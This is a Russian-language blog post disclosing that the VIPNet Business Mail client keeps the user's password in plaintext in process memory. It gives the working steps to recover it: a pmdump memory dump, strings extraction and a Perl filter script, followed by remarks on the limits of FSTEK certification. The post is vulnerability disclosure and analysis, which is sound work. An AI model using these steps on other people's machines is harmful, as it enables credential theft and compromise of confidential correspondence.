Сертифицированное на несертифицированном

Есть такая компания - Infotecs, у нее есть продукт - VIPNet [Клиент] [Деловая почта]. Суть продукта в том, что он сертифицированным образом защищает конфиденциальную переписку: сообщения шифруются на ГОСТовой криптографии, да и сам продукт имеет сертификат ФСТЭК.

Аутентификация пользователя в Деловой почте осуществляется по паролю, но, для осуществления криптографических махинаций с сообщениями, конечно, используются ключи, которые лежат в виде файлов в профиле пользователя.
В целом, знание пароля позволят полностью компрометировать Деловую почту.

Обычно делают так: где-то хранится хеш пароля. Пользователь, аутентифицируясь вводит пароль в какую-то форму, форма его подхватывает, вычисляет хеш, сравнивает с хранимым: совпал - пускает, не совпал - не пускает. Пароль в открытом виде нигде не хранится - это много где требуется, в частности в NIST SP 800-53 (любая ревизия).

Но в случае Деловой почты было замечено следующее: всякий раз после установки обновлений, приложение перегружается. Причем, при повторном запуске - пароль не спрашивается! Немного подумав, можно прийти к выводу, что пароль где-то хранится в открытом виде, очевидно, в памяти.

Проверяем:
1. Запускаем Деловую почту, успешно туда аутентифицируется. В эксперименте используется вот такая версия:

2. Смотрим PID у приложения WMail.exe.
3. Берем утилитку  pmdump.exe и дампим память процесса в файл:
pmdump.exe 5196 WMail.exe-2.pmdump
где 5196 - PID процесса WMail.exe в моем случае.
4. В дампе с ужасом находим свой пароль в открытом виде:

В целом этого достаточно, чтобы понять, что сделать mimikatz для Деловой почты - дело техники.
Если дамп большой, можно облегчить себе работу используя strings:
strings -n 9 WMail.exe-2.pmdump >WMail.exe-2.strings
Результат strings-а можно еще немного обработать, что сократит количество того, что может быть похоже на пароль (известно, что его длина ровно 9 символов, там нет цифр, пробелов, он состоит из начал русских слов, записанных в английской раскладке, используется только нижний регистр):
type WMail.exe-2.strings | proc.pl 1>stdout.txt 2>stderr.txt

Где proc.pl:

my $c=0;
my %r = ();

while(<STDIN>){
    s/^\s+//;s/\s+$//;
    
    if(/^\S+$/ && /^\D+$/ && (length($_)==9) 
        && /^[f,dult`;pbqrkvyjghcnea\[wxio\]sm'.z]+$/ #Russian word
        && $_ == lc($_) #No register
        ){
        print "$_\n";
        $r{$_}++;
        $c++;
    }
}

print STDERR "found $c lines\n";
foreach ( sort {$r{$b} <=> $r{$a}} keys %r){
    print STDERR "$_\t\t".$r{$_}."\n";
}

Из ситуации два очевидных (но важных!) следствия:
1. Сертифицированное ФСТЭК решение не значит безопасное. В конкретном случае - грубая архитектурная уязвимость. 
2. Если уж по-настоящему играть в сертифицированность, то сертифицированное приложение должно стоять на сертифицированной ОС, которая должна быть установлена на сертифицированном железе. Очевидно, что на практике этого нет, поэтому и получается, что легко доверенное приложение компрометировать через недоверенную ОС (что, собственно, здесь и сделали), а последнее - через недоверенное железо. Причем, железные закладки, последнее время, - модная тема, вот, например, хорошая презентация от Джонатана Броссарда.